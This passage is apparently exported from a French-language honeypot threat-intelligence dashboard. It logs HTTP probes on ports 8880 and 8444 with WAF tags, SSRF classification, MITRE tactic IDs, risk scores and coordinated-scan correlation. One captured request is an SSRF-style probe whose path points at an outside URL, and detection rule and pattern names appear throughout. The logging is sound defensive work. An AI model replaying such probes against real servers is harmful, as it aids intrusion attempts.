"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Moz",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f595f227749328e2662211c3acb2965450acb1a8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Moz",
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 63,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8880,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Moz",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 3,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:44:27 UTC
TCP
8880 · HTTP
SSRF interne
ssrf internal · via HTTP:8880 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8880
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
54%
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8880
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8880 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "705e57393925ae4499d6cc481be3dac8642e294d",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.351764679459358,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8880,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "9c30ce3198befc881fb2b9eff62dd52155021f5f",
"event_fingerprint": "d02d0cf983692d58cdb0cfca4295b2fba7206c25",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.54,
"classification_confidence": 0.54,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "03a5d5dbdee8ed37d06baa73867ebabf",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8880,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c3182ea50ec11f67272ff45c8d76cc617db627ee",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit)",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 54 % \u2014 via HTTP",
"confidence_pct": 54,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8880,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 54 % \u2014 Score WAF 72 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
31/07/2026 15:40:15 UTC
TCP
8444 · HTTP
SSRF interne
ssrf internal · via HTTP:8444 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8444
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8444
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8444 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "6bd1b0105b5b25fd63b191c5027235e54945e569",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.406704196192061,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8444,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.3,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "76713f3e156fd88f9fc60b401c7e42c28a7cb4a9",
"event_fingerprint": "aba5c1a6a33a0f6964401985080f9f2e5bec224c",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "02d6b34c641580775483763e0613e802",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8444,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "50bbe69e9f23a562262038c73353ec2d4963984b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit)",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8444,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8444"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
